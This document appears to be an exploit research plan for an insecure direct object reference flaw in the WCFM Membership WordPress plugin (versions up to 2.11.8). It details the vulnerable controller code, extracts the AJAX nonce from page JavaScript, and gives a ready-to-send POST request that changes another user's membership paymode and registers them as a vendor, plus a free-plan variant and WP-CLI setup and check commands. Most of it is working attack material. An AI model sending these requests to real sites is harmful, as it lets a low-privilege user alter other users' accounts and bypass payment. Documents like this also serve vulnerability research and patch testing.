WCFM Membership – WooCommerce Memberships for Multivendor Marketplace <= 2.11.8 - Insecure Direct Object Reference to Update Membership Payment

This research plan focuses on exploiting an Insecure Direct Object Reference (IDOR) vulnerability in the WCFM Membership plugin. The vulnerability allows an authenticated attacker (Subscriber level) to modify the membership payment details and trigger vendor registration for any other user by manipulating the member_id parameter.

1. Vulnerability Summary

• Vulnerability: Insecure Direct Object Reference (IDOR)
• Location: WCFMvm_Memberships_Payment_Controller::processing() in controllers/wcfmvm-controller-memberships-payment.php.
• Condition: The plugin fails to verify if the member_id provided in the request matches the ID of the currently logged-in user.
• Impact: An attacker can modify another user's membership paymode, force-register them as a vendor ($WCFMvm->register_vendor), and potentially bypass payment requirements for paid plans.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: wcfm_ajax_controller (WCFM's standard dispatcher)
• Controller Parameter: wcfm-memberships-payment
• Vulnerable Parameter: member_id (nested inside wcfm_membership_payment_form)
• Authentication: Required (Subscriber or higher).
• Preconditions:
  1. The target user (Victim) must have a temp_wcfm_membership meta key set (this happens when they select a plan but haven't completed payment).
  2. The value of temp_wcfm_membership must be a valid Post ID of a wcfm_membership post type.

3. Code Flow

1. The request hits admin-ajax.php with action=wcfm_ajax_controller.
2. The WCFM dispatcher instantiates WCFMvm_Memberships_Payment_Controller (defined in controllers/wcfmvm-controller-memberships-payment.php).
3. The constructor immediately calls $this->processing().
4. Lines 33-34: The code extracts the form data:

   parse_str($_POST['wcfm_membership_payment_form'], $wcfm_membership_payment_form_data);
   $wcfm_membership_payment_form_data = wc_clean($wcfm_membership_payment_form_data);
   

5. Lines 39-40: It retrieves the member_id directly from this user-controlled string:

   if (isset($wcfm_membership_payment_form_data['member_id']) && !empty($wcfm_membership_payment_form_data['member_id'])) {
       $member_id = absint($wcfm_membership_payment_form_data['member_id']);
   

6. Line 41: It fetches the membership plan ID associated with that member_id:

   $wcfm_membership = get_user_meta($member_id, 'temp_wcfm_membership', true);
   

7. Line 42: It takes the paymode from $_POST['paymode'].
8. Lines 59-62: If the plan exists, it updates the victim's meta and registers them as a vendor:

   update_user_meta($member_id, 'wcfm_membership_paymode', $paymode);
   // ...
   $has_error = $WCFMvm->register_vendor($member_id);
   

4. Nonce Acquisition Strategy

WCFM AJAX requests usually require a nonce named wcfm_ajax_nonce. This is typically localized into the wcfm_params global JS object.

1. Identify Trigger: The membership payment form is often rendered via the [wcfm_membership] shortcode.
2. Setup: Create a public page with the shortcode.

   wp post create --post_type=page --post_title="Membership" --post_status=publish --post_content='[wcfm_membership]'
   

3. Navigate: Use browser_navigate to this page as the Attacker.
4. Extract: Use browser_eval to get the nonce.

   // WCFM standard localization key
   window.wcfm_params?.wcfm_ajax_nonce
   

5. Exploitation Strategy

The goal is to change the paymode of a Victim user and trigger their vendor registration.

• Step 1: Obtain a valid Nonce (see section 4).
• Step 2: Construct the payload. The wcfm_membership_payment_form must be a URL-encoded string containing the victim's ID.
• Step 3: Send the POST request.

Request Details:

• URL: http://[target]/wp-admin/admin-ajax.php
• Method: POST
• Content-Type: application/x-www-form-urlencoded
• Body:

  action=wcfm_ajax_controller&controller=wcfm-memberships-payment&wcfm_ajax_nonce=[NONCE]&paymode=bank_transfer&wcfm_membership_payment_form=member_id=[VICTIM_ID]
  

6. Test Data Setup

1. Create Membership Plan: Use WP-CLI to create a membership post.

   PLAN_ID=$(wp post create --post_type=wcfm_membership --post_title="Gold Plan" --post_status=publish --porcelain)
   # Set plan metadata (required for the code logic to proceed)
   wp post meta update $PLAN_ID subscription 'a:1:{s:7:"is_free";s:2:"no";}' --format=json
   

2. Create Victim:

   VICTIM_ID=$(wp user create victim victim@example.com --role=subscriber --user_pass=password --porcelain)
   # Assign the "temp" membership to the victim to simulate an initiated application
   wp user meta update $VICTIM_ID temp_wcfm_membership $PLAN_ID
   

3. Create Attacker:

   ATTACKER_ID=$(wp user create attacker attacker@example.com --role=subscriber --user_pass=password --porcelain)
   

7. Expected Results

• Response: A JSON string: {"status": true, "message": "Subscription successfully completed...", "redirect": "..."}.
• Database Change: The Victim's user meta wcfm_membership_paymode will be updated to bank_transfer.
• Vendor Status: The Victim's role will likely be changed to wcfm_vendor (or whatever the plugin's registration logic dictates).

8. Verification Steps

After the HTTP request, verify the state of the Victim user:

# Check if the paymode was updated
wp user meta get [VICTIM_ID] wcfm_membership_paymode

# Check if the user was registered as a vendor (role change)
wp user get [VICTIM_ID] --field=roles

# Check if subscription data was stored
wp user meta get [VICTIM_ID] wcfm_membership_subscription_data

9. Alternative Approaches

If the wcfm_ajax_controller requires different parameters, investigate core/class-wcfmvm-ajax.php (inferred existence) to see how the controller is routed. If the plan is "Free", the paymode check is bypassed entirely, making the exploit even simpler:

paymode=free&wcfm_membership_payment_form=member_id=[VICTIM_ID]

If temp_wcfm_membership is not set for the victim, the response will be {"status": false, "message": "No member ID found"} (from lines 75-77), confirming the member_id parameter was processed but the meta check failed.